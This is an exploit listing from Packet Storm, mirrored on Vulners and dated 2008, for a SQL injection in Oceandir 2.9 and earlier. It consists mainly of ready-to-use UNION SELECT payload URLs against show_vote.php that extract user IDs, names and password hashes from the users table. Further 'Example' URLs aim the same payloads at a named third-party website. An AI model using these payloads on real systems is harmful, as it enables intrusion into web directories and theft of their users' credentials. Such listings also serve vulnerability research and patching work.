Lucene search

K

oceandir-sql.txt

🗓️ 22 Sep 2008 00:00:00Reported by Jeen Hacker TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

Oceandir SQL injection exploit for show_vote.ph

Show more
Code
`/**  
* @title Oceandir <= 2.9 (show_vote.php id) Remote SQL injection  
* @author JEEN HACKER TEAM [ Jeen + Secertry ]  
* @cost 250$   
* @script http://www.oceandir.com  
* @copyright 2008  
* @homepage http://www.hackteach.org/cc/teach.php  
* @email [email protected] , [email protected]  
*/  
  
Exploit :  
~user  
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users  
~passwd  
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users  
  
Example :  
####  
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users  
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users  
####  
  
Greetz : www.hackteach.org user's  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo